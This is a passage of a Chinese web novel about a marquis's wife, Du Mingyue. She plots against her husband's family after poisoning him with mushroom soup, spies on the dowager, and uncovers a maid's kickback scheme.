“夫人,侯爷已经没事了,侯爷怕您担心,特命我来说一声。”那丫鬟说完,得到杜明月的首肯后,这才恭恭敬敬的退了出去。 等到那丫鬟走出了院子,杜明月的脸上才露出了一抹遗憾的神情。 看来段骆岐的底子不错,吃了有毒的见手青,都出现幻觉了,竟然还没死。 杜明月心中暗暗觉得可惜,但既然段骆岐活下来了,那她的戏还得继续做下去。 她缓缓起身,红豆一见她站起来,立马也跟着起身,一脸困惑的跟着她出了屋子道,“主子,咱们现在是要去哪儿?” “他都大难不死了,咱们不得去恭喜他必有后福啊。”杜明月微微勾唇,嘴角的笑意却冷若冰霜,没有一点温度。 红豆一听,立马用力的点点头,她明白杜明月的意思,她也迫不及待的想去那边看看热闹呢! 进了主院,杜明月瞧见院子里的丫鬟仆从们都在井然有序的忙碌着,心中便明白段骆岐果然躲过一劫,已经无碍了,接下来大概只需要静心将养身体便是了。 杜明月心想:这样也好,他现在身子虚成这样,大概也有很长时间不能来摘月居烦自己了。 这么一想,杜明月脸上的笑容总算多了几分真诚,迈出的步伐也轻快了许多。 她才刚刚进屋,就看到柳楹莹领着两个孩子在段骆岐的床前痛哭流涕,一旁还站着一个脸色不悦的春红,不,现在得叫春旺了。 她正犹豫要不要此刻上前时,就听到春旺一脸嫌弃的道,“柳姨娘,你们别哭了!侯爷现在已经没事了,就是有些虚弱的在这里躺着而已,你们这样,不知道的人还以为你们在哭丧呢!” 这话一出,屋里顿时陷入了诡异的安静。 柳楹莹和两个孩子一脸惊诧和不满的看向春旺,杜明月则差点没有忍住笑,只能急忙低头抿住了唇,而她身后的红豆更是生怕自己笑出了声,狠狠的掐了一把自己的大腿。 主仆两人偷偷对视了一眼,又回头强忍住笑意,只听里面柳楹莹起身和春旺对骂了起来。 “你这是说得什么话!你才是,在咒侯爷死吗!”柳楹莹将两个孩子护在身前道,“我们只是心疼侯爷,情不自禁才会落泪,不像你,竟然一点都不心疼侯爷!” “谁说我不在乎……” 春旺正准备大声辩解,躺在床上已经忍无可忍的段骆岐终于大吼道,“你们都给我滚出去!” 春旺和柳楹莹俱是一愣,见段骆岐脸色苍白,眉头紧皱的坐起身子,下意识都要伸手去扶,却被段骆岐厌恶的推开了。 “不要让我再说第三遍,滚出去!”段骆岐不耐烦的声音响起,他抬眸看到杜明月远远站在门口时,脸色一喜,刚才不耐烦的神色全都消失了。 “明月!你来了!”段骆岐说着,甚至着急起身想要奔向杜明月。 春旺和柳楹莹见状一愣,看向杜明月的眼眸中闪过一丝一闪而过的嫉妒,却又不得不立马将这种想法掩藏起来。 “侯爷,小心!” 柳楹莹伸手扶住段骆岐的胳膊,春旺晚一步,有些着急,然而下一瞬,就看到柳楹莹的手被段骆岐推开了。 “我让你们走!”段骆岐咬牙,“你们再不走,便罚你们禁足一月!” 柳楹莹和春旺一愣,即便心中再不情愿,也只能愤愤不平的离开了。 杜明月看着她们离开后,见段骆岐虚弱的站在床边,久久才拖着病体踏出一步,犹豫片刻后上前,客气却冷淡的道,“侯爷,我已听说了你在老夫人面前维护我的事,多谢了。” 简简单单的几个字却让段骆岐浑身一震,他几乎事不敢置信的抬头看向杜明月。 “你……你刚说什么,你说谢我?”段骆岐开心的不能自已,甚至怀疑着急的耳朵,当看到杜明月点头之后,内心欢呼雀跃,甚至立马觉得自己这病都好了几分。 他心中暗自庆幸,还好这次相信了杜明月,还在自己母亲面前维护了她,而杜明月果然没有让他失望,不仅主动探望,还主动道谢。 段骆岐甚至在心中隐隐期待:这是不是说明她真的原谅了自己,两人能够重修旧好? “这都是应该的,我就知道,这件事一定跟你无关!”段骆岐唇角上扬,甚至觉得自己这次病的值。 但他还没有高兴多久,杜明月接下来的话,马上让他又是一愣。 “不,这次的事情确实是我的错。”杜明月淡淡的开口,面不改色,但却将身后的红豆吓了一跳。 第九十五章 再给我一次机会 红豆急忙抬头,正疑惑杜明月怎么将实话说出来了,就见杜明月再次开了口。 “是我不该给你端来我亲手做的菌子汤,你知道的,我以前从未采过菌子,也不知道如何分辨无毒的菌子,或许是给你的菌子汤里混了什么有毒的菌子,才让你中毒了。” 杜明月敷衍的找了个借口替自己开脱,原以为他会和以前一样暴跳如雷,但意外的是他没有。 段骆岐只是一脸震惊的看着她,杜明月也静静的等着,心中冷笑,不知他接下来会对自己做什么。 犹豫了半晌,段骆岐露出了尴尬的笑容,却十分欣慰的对杜明月道,“不,你能给我送来菌子汤,我很高兴。即便真的是因为你这菌子汤中毒了,我也甘之如饴。” 闻言,杜明月的眉头微微蹙起,段骆岐说这话时的暧昧态度,让她心中厌烦。 “我知道你不是成心的,这就够了。”段骆岐主动替杜明月开脱,“而且你看,你从我这里回去以后,不是也喝了菌子汤吗?你一点事都没有,那足以证明,根本不是菌子汤的问题。” “所以,你千万不要自责!”段骆岐说得一脸认真,“不然我会心疼的。” 杜明月微微勾唇,心中却没有任何触动,眼底依然是一片寒意。 红豆见杜明月坦白一切,却无视发生,心底暗暗松了一口气。 “多谢侯爷理解,那侯爷就好好休息吧,我先回去了。”杜明月说着,就要转身离开。 此时的段骆岐身体虚弱,稍微动一动就头晕眼花,恶心想吐,因此不能像以前那样冲上来拦着她,只能急急的在她的身后开口。 “等等!”段骆岐满眼希冀的看着杜明月挺直的背影,“明月,我们现在关系也缓和了,你也没有之前那么排斥我了,我们是不是能重新开始了?” 杜明月闻言,眼底闪过一片寒意,面若冰霜,视若罔闻,抬脚便要迈出门槛。 段骆岐见状,又提高了几分音量,急急的喊道,“再给我一次机会!一次就好!” 杜明月却始终没有转身,没有回应,也没有片刻的停顿和犹豫,稳稳的将步子迈了出去,离开了屋子。 见杜明月没有转身明确的给出答复,段骆岐有些沮丧的扶住了一旁的桌子,情绪持续低迷了很久,才终于抬起头来,他的眼中依然闪着希望的光芒。 甚至,他的内心多了一丝憧憬和雀跃。 明月刚才也没有明确的拒绝自己,那不正是说明,自己还有机会吗! 有了这个认知以后,段骆岐立马显得高兴了起来,他小心翼翼的起身,挪回床上休息去了。 时间飞逝,眨眼过去了十多日。 这日,杜明月正在府中悠闲的喝茶、看账本,突然看到前年的账本上有一笔特殊的开支。 她的目光微顿,想起了前年这个时候,她为给段老夫人准备生辰礼,不惜花了大价钱买了一尊玉观音。 她记得,当初段老夫人生辰时收到她的玉观音,满脸都是震惊和高兴,甚至还难得夸了自己好几句。 那时她一整颗心都为了段家,因着段老夫人的肯定和夸奖,还暗自开心了许久,如今看来真是讽刺。 杜明月再看一眼账册上的时间,思忖低语道,“今年的生辰马上就要到了,该准备点什么礼物好呢……” 杜明月眼放寒光,唇角勾起一抹冷笑,她一边说着,一边用手指轻轻叩着桌子,抬眼她又突然看到了董皇后那日命人带给自己的信,心中突然了然。 “看来还是要费点心思,送点大礼,闹出些动静才行。” 杜明月心想着,借这个机会一举两得最好,一面能让皇后看到自己的诚意,知道她并未忘记她交代的事情,一面也好做点什么给自己出气。 她正出神的想着,红豆气呼呼的进来了。 她一进来,就一屁股在杜明月的身边坐下,自己给自己倒了一大杯茶,仰头便“咕嘟咕嘟”的一口气喝下。 杜明月疑惑的看着她这一套行云流水的动作下来,又好奇又好笑的问道,“怎么了?跟别人吵架吵输了?” 红豆一愣,哭笑不得道,“主子,您就别打趣奴婢了。” “那是怎么了?”杜明月确实有些好奇,毕竟在这府里,凭着红豆的身手,没人能把她怎么样,可能把她气成这样,看来对方是有点东西的。 “还不是那个春旺!不,她现在又改回名字叫春红了!”红豆愤愤不平道,“那可是主子您给她起的名字啊,她去找侯爷不成,竟然想得到去巴结老夫人,到底是把名字改回来了。” 红豆说着,又一脸不满的凑近了杜明月几分道,“主子,您不知道,我听府里的下人们说了,春姨娘最近跟老夫人跟得可紧了呢!” “听说每天早起问安,勤快的很,又说马上到老夫人生辰了,天天往老夫人屋里送东西,还说要带老夫人出门亲自挑选生辰礼,这把老夫人哄得跟什么似的,一高兴,就准她用回春红这个名字了。” 杜明月听了她这番话,也能想象得到春红每日对着段老夫人是怎样谄媚的一副嘴脸。 不过,她根本不在乎,也懒得和她计较,因为眼下她有更重要的事情要做。 “无妨,随她去吧,一个名字而已,叫什么都和我们无关。”杜明月眉眼淡淡的,红豆瞧着她这平淡的反应,不知为何,原本愤怒的内心竟也神奇的平静了下来。 “嗯!”红豆认真的点头,看到杜明月眼前摆着的又是账本,忍不住感叹道,“主子,您真厉害,每天都在看账本,竟然一点都不会觉得无聊。” 杜明月闻言,笑道,“那看来要教你看账本了,省得你每日无所事事。” 红豆一听,一张小脸立马垮下来,抱着脑袋拼命摇头道,“不行,不行,我做不到。” 杜明月被她这幅模样逗笑,伸手将她的手拉下来道,“好了,不逗你了,准备一下,我带你出门。” “主子,去哪儿啊?”红豆一边开心的起身,一边随口问了一句。 第九十六章 发现端倪 杜明月勾唇,话里有话的道,“段老夫人马上要生辰了,得好好给她挑一份大礼才行!” “啊?”红豆愣住,但还是很快去准备好了马车,主仆二人一起出门。 马车从镇南侯府的大门前离开后,便一路奔向珍宝阁。 马车到了热闹的街市,因怕误伤了人,速度便慢了下来。 杜明月今日心情好,听着外头热闹的叫卖声,忍不住掀开帘子多看了两眼。 眼前各大商铺鳞次栉比,路人们在各种铺子门前进进出出,好不热闹。 “主子,珍宝阁快到了。”红豆也凑过来,灵动的黑眸四处打量着。 顺着她的手指,杜明月也看到了珍宝额巨大的匾额,只是当她的目光稍稍下移时,突然看到了一个熟悉的身影也进了珍宝阁。 “停车!”杜明月突然紧急开口,马车才刚刚停稳,她便急忙从马车中下来了。 跟在她身后的红豆还一头雾水,杜明月压低声音道,“低调些,我刚看到段老夫人也进去了。” 红豆闻言,急忙点点头,朝着身后的车夫挥了挥手,让其先行离开。 杜明月也不知道究竟是怎么了,在看到段老夫人的那一刻,她便总觉得好像会发生什么事,有什么东西似在冥冥中指引着她悄悄跟上去看看。 杜明月察觉到了心中的异样,却没有抗拒,而是选择了顺从。 毕竟段家骗了她那么多年,藏了那么多的秘密,或许段老夫人身上还有更多的秘密等着自己去挖掘。 杜明月进珍宝阁前,让红豆准备了两个帷帽,戴上之后,这才大大方方的进了珍宝阁。 进入之后,果然看到珍宝阁的伙计在十分热情的向段老夫人介绍铺子里最新的款式。 杜明月一边假意装作相看首饰,一边时不时的看向段老夫人这边。 段老夫人看了好几套首饰都兴致缺缺的模样,她身边常年伺候的贴身嬷嬷立马明白她心中所想,将眼前的首饰盘往伙计面前一推,一脸倨傲的开了口。 于嬷嬷道,“这可是镇南侯府的老夫人,你们就拿这些破烂来敷衍?” 伙计一愣,随即换上了一脸讨好的神色,“不敢,不敢,之所以拿这些出来,只是因为这些是眼下时兴的款式,但老夫人这般气势,这些确实显得小家子气了,我马上换别的首饰过来。” 不出片刻的功夫,那伙计立马又带了两人出来,每人手上都端着一个托盘。 每一个托盘上放的都是一整套的头面,第一套是嵌红蓝宝石赤金头面,第二套是嵌碧玺黄金头面,第三套是珐琅彩纯金头面。 这三套往段老夫人面前一摆,她的眼睛立马亮了起来,拿起黄金头面仔细端详,爱不释手,满眼都是喜欢。 三套全都看下来,段老夫人又重新拿起了第一套红蓝宝石镶嵌的黄金头面,看得眼睛都要直了。 一旁的伙计见状,急忙道,“老夫人果然有眼光,这套红蓝宝石镶嵌的是今年的最新款,昨日才刚到的,这种红蓝宝石镶嵌的,要比另外两套更加沉稳大气!” 段老夫人听了心里美滋滋的,看向宝石黄金头面的眼神更加渴望和贪婪,“这头面要多少银子?” 那伙计立马笑意盈盈的伸出一根手指,“只要一千两!” “一……一千两!”段老夫人听闻,笑容立马僵在脸上,但也只是一瞬,立马维持住了原来高高在上,不可一世的体面。 “确实不贵。”段老夫人咬紧牙关,强忍着不舍,将黄金头面放了回去。 那伙计一见她如此行径,心里便立马明白了个大概,只能忍着心中的不快,强撑着笑意开口道,“那我替老夫人装起来?” 段老夫人看着头面久久不出声,于嬷嬷明白她心中所想,立马出言劝慰道,“老夫人,过两日马上就是您的生辰了,您买下来,到了生辰那日戴上,也给来道和的众人瞧瞧咱们镇南侯府的实力。” “实力?什么实力?”段老夫人冷笑出声,故意大声像是要说给周围的人听。 “老大是镇南侯没错,有军功又威震四方,可是他到底是老老实实拿朝廷俸禄的,能有多少家底?咱们清清白白的世家侯府可不比那些做生意的奸商,有的是家底!” 于嬷嬷听到这话一愣,立马明白她说的是杜明月。 确实,从杜明月嫁进段家以后,一直都是她出手阔绰的贴补家用。 那时,别说这一个黄金头面买的,就是三件四件也买得。 可偏偏现在杜明月从东宫出来以后,性情大变,不仅一分钱都不再往外掏,还时不时要列个账单来要钱,于嬷嬷多次亲眼看着段老夫人为她送来的账单头疼。 一旁站着的伙计此时脸上也有了些许不耐烦,看着段老夫人的眼神中也没有了刚才的谄媚和恭敬,只有质疑和询问。 “老夫人,那这些……” 伙计的话还没有说完,就被一旁眼力见儿十足的于嬷嬷打断了。 “你先下去吧。没眼力见的东西,没看见我们老夫人正心烦着吗!我们老夫人想买自然马上就能买!” 于嬷嬷这话听的伙计也是一肚子气,撇了撇嘴,转身便对身后那两人挥了挥手,“哼,咱们走!” 杜明月微微侧目,看着那几个伙计才离开,于嬷嬷立马凑到了段老夫人面前。 她小声道,“老夫人,您生辰在即,那杜氏再怎么闹着和离,这不是还没离吗,不如您暗示暗示,让她给您买下这头面?” “她都给老大下毒了,你觉得她真的会给我买?”段老夫人固执又不满的说道,“她不毒死我,我都要谢天谢地了,我可不想在府里看见她了,我可是恨不得能将她立马赶出去!” 这话说的于嬷嬷都接不上来,她愣怔了片刻,就看到段老夫人已经起身往外走了。 “算了,反正又不真的是我生辰!”段老夫人一边不满的低声嘀咕,一边快步迈出了门槛。 因沉浸在不满的情绪中,她完全没有注意到身后带着帷帽,几乎将上半身全部遮住的杜明月和红豆两人。 “老夫人……”于嬷嬷反应过来后,只能急忙跟了上去。 第九十七章 发现端倪 等到段老夫人坐上回段府的马车,带着帷帽的杜明月这时才从门边出现,看着远去的马车,久久的陷入了沉思。 段老夫人刚刚所说那句,“又不是真的生辰”,这话何意? 从段老夫人的话中嗅到一丝不寻常意味的杜明月眉头紧蹙,站立思忖良久,却仍是百思不得其解,没有任何头绪。 “主子?怎么了?”在一旁站着的红豆见她站了许久,就连有人从门口进来,她都不曾躲避,便有些担心的开了口。 杜明月回过神来,这才脚步轻移,将门口的位置让出来,可仍有些心不在焉的苦苦思索着。 “没什么……”杜明月下意识应了一句,并未多说什么。 过了许久,杜明月才再次抬头,目光灼灼的看向段府马车消失的方向。 以她对段老夫人的了解,那么谨慎的一个人,不可能无缘无故说出刚才的那些话,这里面一定藏着什么秘密,只是不知道这秘密到底有多大。 发现端倪的杜明月暗暗攥紧手心,段家负她,她必定要段家付出代价。 董皇后此时也在虎视眈眈的盯着她,想借她的手来让段家乱起来,她认定,这个被段老夫人一直藏着的秘密,或许就是最好的突破口。 想到这里,杜明月急忙迈出珍宝阁的大门,想着回段府,看看能不能找到些蛛丝马迹的线索。 但她刚急匆匆的走了两步,就差点和一个半人高的孩子撞个满怀。 她急忙扶住眼前的人,等他抬头道歉时,先是一愣,立马笑着将头上的帷帽取了下来。 “杜姐姐,怎么是你?”正在道歉的杜凌风眼前一亮,露出欣喜的笑容,“太好了,我正要去找你呢。” 杜明月见他气喘吁吁,形色匆匆,想来一定是有重要的事情找自己,不然不会急成这样。 “别急。”杜明月安慰道,“咱们上去慢慢说。” 杜明月抬手指了指珍宝阁对面的茶楼,呼吸逐渐平稳的杜凌风立马点了点头,随后,杜明月三人便一起进了茶楼三楼靠窗户的一间包厢。 “今日我正要出门,恰巧碰见段侯爷堵上门来,嘴里净说些不着边际的话。”杜凌风提起这事儿,还有些无语和不满。 “他说什么要认我做义子,还要接我回镇南侯府一起生活……” 杜凌风还没有说完,一旁的红豆就已经有些等不及的问道,“那你怎么说的?” 杜凌风握着小拳头,一脸正义的道,“我知道他不是好人,所以我立马拒绝他了!我也知道除了你们,镇南侯府没有一个好人,所以我才不会傻到跟他回去!” 听他这么说,红豆满意的笑容收都收不住,频频点头附和道,“没错!没错!的确是这样!” “杜姐姐,我怕他回去和你乱说些有的没的,故意骗你说什么我答应了的话,所以想着赶紧找你解释清楚。”杜凌风一脸认真,杜明月看向他的眸子里更是多了些欣赏和赞许。 虽然杜凌风尚且年幼,但做事已经思虑的非常周全缜密了,而且他看人甚至比自己还厉害。 当初在富贵叔的事情上,段骆岐已经这样干了一回,可怜她当时还被蒙在鼓里,也没想着主动求证。 想到这里,杜明月心中又是一阵感慨,她当初要是也能像现在的杜凌风想得这么周到就好了,这样也不会平白让富贵叔离开她那么久,她自己还被段骆岐蒙骗了那么久。 “你做得很好。”杜明月真诚的开口肯定了杜凌风的做法,杜凌风见她如此说,总算安心的松了口气,露出了放松的笑容。 “主子,侯爷这是什么意思啊?这几日,他总是想见你却吃了闭门羹,所以把注意打到凌风的头上去了吗?”红豆忍不住问道。 杜明月点点头。 这几日,段骆岐的身体已经恢复的差不多了,他总是隔三差五来寻自己,而她也总是找各种理由拒绝,没想段骆岐现在为了讨好自己,还真是什么办法都用了。 杜明月冷笑,可惜,他再怎么想方设法的讨好自己,她的内心已经再也不会因他而动摇了。 “对了,他今日来找我,除了说了那样一番不着边际的话,还送了很多贵重的东西来,说什么,即便我今日不答应,也要把东西收下,然后再好好考虑考虑。” 杜凌风突然想起这些事,也便一股脑的说了,“杜姐姐,你放心,我一样都没收,全部退回去了,杜姐姐你对我这么好,我不想给你惹一丁点的麻烦。” 杜明月颇为感动的点点头,其实若真的论起来,她现在对杜凌风的好,远没有当初对段家人的十分之一。 但杜凌风尚且能知恩图报,不像段骆岐和段骆霖等人,贪得无厌,恩将仇报。 杜明月心中感叹,人与人果然是不一样的,而她当初也太瞎了点了! 一想到这里,杜明月沮丧的撑住脑袋,现在心里就已经有了往事不堪回首的感觉,她想,她和段家的这一段孽缘,大概是她日后一想起来就要嫌弃的污点了。 “杜姐姐,怎么了,我做的有什么不对吗?”杜凌风见杜明月那张绝美的脸上现在皱巴巴的,十分抑郁的模样,紧张的不知所措,他紧捏着衣角看向杜明月。 回过神来的杜明月一愣,一脸严肃道,“你确实做的不对。” 杜凌风急忙抬头,内心正忐忑着,却在听到她下一句话时直接愣住了。 “他既然要送你东西,你就不该拒绝,就应该直接收下!”杜明月十分认真道,“以后若再有这样的事,你不必觉得有负担,安心收下便是!” “可是……”杜凌风犹豫了片刻,还是忍不住道,“我担心我收了那些东西,会给杜姐姐你惹麻烦。” “不会的。”杜明月认真道,“这是他欠我的,只有这些还远远不够呢!所以你放心听我的便是,日后你再瞧见他,就把他当成一个别人家的长辈就行,不用花费太多心思在他身上。” “我本不想将你牵扯进这些事情中来的,但事已至此,他恐怕一时半会不会善罢甘休,我只希望,不要影响到你的学业变好。” 第九十八章 目力过人 杜明月温柔的嗓音让人听了如沐春风,她的话让杜凌风沉默了许久,半晌,他才终于点了点头道,“杜姐姐,我听明白了。你放心,我不会被这些事影响的。” 杜明月闻言松了口气,抬手给他的茶杯中添茶,正要问他近日功课如何,不经意抬头间,却看到一个熟悉的身影再次出现在自己眼前。 她甚至忘记了手中的动作,任凭那茶水溢出杯口,洒在桌上,还是红豆急忙提醒了一声,她才回过神来。 杜凌风疑惑的顺着她的目光看过去,看到一个婆子鬼鬼祟祟的从珍宝阁的大门进去。 杜凌风打量她一个婆子,却也衣着华丽,料想绝不是普通人家的婆子,怕正是段府里贴身伺候主子的嬷嬷。 等杜明月匆忙放下茶壶,抖落裙摆上的水渍,再次抬头时,只见门口早已不见了于嬷嬷的身影。 她正愁眉不展的望着珍宝阁的大门口时,不一会,于嬷嬷又鬼鬼祟祟的出来了。 杜明月疑心重重的仔细打量,却没有看出半点与先前不一样的地方来。 杜明月心中暗暗思忖:她到底是回来干什么的? 她正想着,耳边突然响起了一抹沉稳、自信却稚嫩的声音。 “荷包。”杜凌风低头看着匆匆融入人群的于嬷嬷,目光如狩猎的鹰隼般犀利,“那个身穿绸缎的婆子身上多了一个绿色的荷包,先前她进去时是没有的。” 杜明月闻言,先是一愣,立马睁大眼睛回头去看,果然见到在人群中穿梭的于嬷嬷腰间别着一个荷包,而那荷包也不是全露出来,只是露出了一个角而已。 “你……”杜明月回眸,几乎是不可置信的看向杜凌风道,“这么远,你竟能看得这么清楚?” 杜明月万万没想到,杜凌风身上竟还有她未曾察觉的优点。 “嗯。”杜凌风点头道,“刚才我看杜姐姐盯着那婆子看得出神,我就多看了两眼,果然有古怪。” 杜明月心中暗暗叹服,沉思了片刻开口道,“那你觉得她到底哪里古怪,腰间多出来的荷包到底是什么来头?” 她目光期待的看向杜凌风,想她既然能看出异常,那说不定也能推断出一二。 果然,杜凌风立马断言道,“大概只有两种可能吧,要么是这珍宝阁有人欠她银子,她来讨要,要么就是吃回扣!” “嗯……那你觉得她是哪一种。”杜明月若有所思的开口。 “若是来讨债,神情没必要这么鬼鬼祟祟见不得人。”杜凌风认真道,“所以,我认为她应该是第二种,不过我不明白,她怎么能拿到珍宝阁给的回扣呢?” 杜凌风脸上的不解不似作假,杜明月微笑解释道,“因为,她的主子段老夫人的首饰都是在这家珍宝阁买的,她几乎不去别的地方,这其中怕是就有于嬷嬷故意为之。” “哦,我明白了,于嬷嬷利用段老夫人的信任,故意将人带到这里,再努力劝说段老夫人挑选最新最贵的款式,若段老夫人真的买了,那她便可以按约定好的,向珍宝阁收取回扣。” “没错,就是这样!”杜明月赞许的朝着他点点头。 这个合理的推断,也正好解释了,今日于嬷嬷为什么非要如此卖力,拼了命的也想劝段老夫人买下黄金头面了。 如果段老夫人买下了,那么她将有一笔丰厚的回扣落入兜里,段老夫人没买,她也可以像现在这样,偷偷溜回来,将以前未结清的回扣带走。 杜明月微微勾唇,拿起桌上的茶杯啜饮了一口。 她以前竟然没发现,于嬷嬷竟还是个有外心,胆子大的。 杜明月又稍稍坐了片刻,见也无其他事,她又一心想查探段老夫人的秘密,便决定不在这里继续待下去。 她起身摸了摸杜凌风的小脑袋道,“你说的事情,我也都知道了,你今日做得都很好,那今天就先回去吧,杜姐姐还有点事要做。” 杜凌风认真点头开口道,“若杜姐姐有用的上我的地方,尽管跟我说。” 杜明月温柔一笑道,“你放心,我会得。” 从茶楼离开以后,杜明月便漫无目的的在街上闲逛着。 她一边想着能不能找找灵感,抓住一些段老夫人所守秘密的蛛丝马迹;一边想着,她也该给段老夫人寻摸一件“大礼”,给今年的生辰添上一把火。 因杜明月思索的过于认真,几次都差点撞到人,都是红豆眼疾手快的将对面人挡住了。 于是这一路,杜明月走得倒是安心,就是把担心她会被撞到的红豆类的不轻。 来回晃得自己都有些头晕的红豆,终于忍不住开口问道,“主子,你想什么呢?” 杜明月一愣,这才回过神来,看着红豆,突然睁大了眸子,一脸开心道,“我知道怎么做了!” 没错,她已经知道要从哪里下手了。 段老夫人身边的于嬷嬷看似忠心,与段老夫人形影不离,但到底不是铁板一块,从今日意外发现她吃回扣这件事,就能看得出来,她是有自己的私心和打算的。 杜明月暗暗思忖:莫不是段老夫人做了什么狠毒的亏心事,而于嬷嬷目睹了一切,深知其中的内情,所以心中早存了保全自己的想法,所以才会背着段老夫人做这么多手脚。 如此一来,事情倒是没那么难了。 于嬷嬷喜欢钱,而她杜明月恰好有的是钱,她一定能想办法撬开她的嘴! 红豆不知此刻她心中所想,只是对于杜明月突然没头没脑说的话表示疑惑,“主子您在说什么?什么怎么做?” 杜明月心情极好的莞尔一笑道,“没什么,日后时候到了,你自然会知道的。” “走吧,今日无事,我带你好好去集市上逛逛。”杜明月好听的声音响起,果然立马勾起了红豆的兴趣。 “主子,主子,我真的可以随便逛吗?”红豆指了指一旁的街市道,“我想去那里看看,上次也是这里没去过。” “当然可以,走,咱们一起去看看。”内心轻快的杜明月爽快应允,主仆二人很快便走进了一条充满人间烟火气的街巷。 第九十九章 偶遇孟小桥 这条街上大多都是临街而设的小摊子,有热饮摊子、吃食摊子、肉摊、鱼摊……琳琅满目,应有尽有,平日家里的吃食,在这条街市上几乎都能买到。 “主子,这些小玩意儿真好玩,怎么这么小小的一个,还能做出这么多机关来?”红豆随手拿着一个竹子做的小人,随手按着不同的机关,小人做出不同的举动。 “主子,这个荷包绣的真好看。”兴致勃勃的红豆放下手中的小人,又研究起了摊子上其他的小玩意儿。 杜明月给了她钱袋子,让她可以买下自己喜欢的,却无心和她讨论,目光四下打量了起来。 她还没想好,到底给段老夫人送什么大礼做惊喜合适呢! 就在杜明月一筹莫展,眉头紧锁时,一个熟悉的人影却突然映入了眼帘。 她的凤眸中闪着一丝惊喜,开口问红豆道,“我没看错吧,最头上那个摊子前,站的是孟姑娘吧?” 红豆放下手中的猫猫头小摆件,急忙说着她手指的方向看过去,脸上也是一喜。 “是孟姑娘没错!”红豆大声说着,就朝着孟小桥的摊子挥手,“孟姑娘!” 杜明月急忙带着红豆朝孟小桥的摊子上赶过去,孟小桥刚刚剁下半扇猪排骨递到客人手中,就听到好像有人在叫自己。 她急忙抬头去看,见是杜明月和红豆来了,又是高兴,又是脸红。 她羞赧的将有些油乎乎的手往自己身前的围裙上擦了擦,“你们怎么到这里来了啊?这里都是些小摊子,地面也不是很干净,别脏了你们的裙子。” 孟小桥虽然嘴上说着这些话,但脸上笑意盈盈的,明显能看出来是发自内心的高兴和欣喜。 “我这肉摊的肉马上就要卖完了,你们稍微等我一下,我把这些肉给这些老主顾切一下,一会咱们进里边说。” 孟小桥说着,手里切肉的动作也没有停下,下手有力,干净利落。 横竖今日无事,只是闲逛着给段老夫人挑选礼物,因此杜明月并不着急,也不催促,只是笑着站在一旁点头。 “生意果然很好啊。”杜明月看着最后一人提着一刀猪肉满意的离开,笑着回头见孟小桥已经开始收拾案板和刀具了。 她动作十分迅速,很快就将摊子打扫干净收拾整齐了。 孟小桥身后的屋子,是孟小桥盘下来的铺子,每日人流量最多的时候,她便会在门口摆摊,若人不多时,便会在屋里呆着。 “今日确实生意好,才小半天就卖完了,以往至少也要卖到下午呢。”孟小桥道,“可也巧了,你正好今日来找我,正好我去换身衣服陪你们出去逛逛。” 杜明月和红豆听了自是同意,欣然等着孟小桥换了一身漂亮衣裳出来,她头上还特意别了杜明月上次送她的发簪。 孟小桥在两人面前站定,一脸羞涩的道,“侯夫人,你发现我和前两日有什么不一样吗?” “……”杜明月凤眸微微睁大,正细心打量,红豆却眼前一亮,率先抢话道,“孟姑娘好像瘦了点!” “真的?”孟小桥开心的眼睛都睁大了,一脸期待的看向红豆,“我哪里瘦了?” 红豆一时语塞,她刚才确实有一瞬间觉得她瘦了,但突然被她这么一问,再仔细看看,好像和之前也没有很明显的变化。 孟小桥见状,原本满面的红光一下子暗淡了下来,她有些沮丧的道,“果然还是没瘦吗?我认真按侯夫人你说的再减肥啊……” 杜明月闻言,忍不住笑道,“想要瘦下来,可不是一日两日就能成的,贵在坚持,而且……” 她仔细端详了孟小桥片刻,认真道,“孟姑娘,你的脸真的有瘦一圈。” 孟小桥闻言,惊喜的双手捧住自己的脸,开心的眼睛里几乎要冒出星星来了,“真的吗?那我要继续坚持下去!哼!总有一天我也能变成一个瘦瘦的美女!” 杜明月笑意盈盈的点头,十分赞同她的想法,孟小桥现在有些胖胖的,整个人都能看出几分清秀的模样来,那瘦下来模样一定错不了。 “走吧,不说这些了,刚才那会见你,似乎有什么烦心事,怎么了?”孟小桥同杜明月等人一出大门,她便想起来道,“要不跟我说说,看我能不能帮得上忙?” 杜明月略一思忖,认真道,“段老夫人生辰在即,这大概是我和离前,给她过的最后一个生辰了,我想给她准备一份永生难忘的大礼!” 孟小桥眨了眨眼睛,一下子便听懂了言语间的暗示和意有所指。 她略一四村,立马拍着胸脯道,“我明白了,从小左邻右舍就夸我鬼点子多!你找对人了,准备这种别出心裁的生辰礼我最在行了!” “真的?”杜明月双眸闪着亮光,似是迫不及待想听听看她有什么好主意。 “侯夫人,你要是信得过我,你就这样……”孟小桥左右看了下,立马附到杜明月的耳边小声道,“你这样……这样……” 红豆在一旁也好奇的很,又不好意思打扰她们,于是轻轻垫了垫脚,努力的将自己的小脑袋也凑过。 但她刚凑过,还没听清什么,孟小桥已经一脸意味深长的笑容站直了身子。 “啊?这就说完了?到底是什么东西啊?神神秘秘的?”红豆压着嗓子,眸中却是一片急切。 杜明月微笑道,“你还是这么急性子,到时你自然就知道了,哦,对了,今日侯爷若是再来烦我,你替我抵挡时,可以放心告诉他,我今日出门是给老夫人准备生辰礼了。” 红豆闻言颔首,正想说什么,杜明月像是又想到了什么,急忙补充道,“不过,我们去过珍宝阁的事情,千万不能说!” “主子,我明白。” 红豆认认真真点头,之后杜明月三人便又去街市上闲逛了起来。 三人足足逛了有两个时辰,最后还是孟小桥实在溜达不动,才终于作罢。 三人同乘一辆马车,杜明月先将孟小桥送回去,之后才和红豆回到镇南侯府。 说巧不巧,心情愉悦的杜明月才刚刚带着红豆进了侯府大门,就看到春红在院子里吩咐花匠们安置盆景。 第一百章 故意显摆 “轻一点啊!那盆花很贵的!会不会干活啊!笨手笨脚的!” “那两盆要放那边啊,这里都没有地方了!放那么高,掉下来怎么办!” “还有后面的,你们快一点啊!” 本来杜明月没踏进院子之前,春红言语中虽有嫌弃,但神色还算正常。 可她一见杜明月和红豆出现,突然变了脸色,拿出一副高高在上、颐指气使的模样吩咐众花匠干活。 杜明月眼底闪过一抹不屑,略带嫌弃的移开目光,却听到春红故意将声音提的更高了,像是故意憋着一口气,要拿出点气势来给她看看一样。 杜明月心中甚至忍不住想翻个白眼,但想到对面的人是春红,都不值得她浪费口舌和力气,干脆装作没有听到,继续往前走。 但春红今日就好像憋足了劲儿要给她找不痛快一样,竟然放着一众花匠的活儿不管了,急匆匆的走上前,挡住了杜明月的去路。 “是春红失礼,竟没有注意姐姐回府,没能第一时间给姐姐请安,还忘姐姐饶恕春红。” 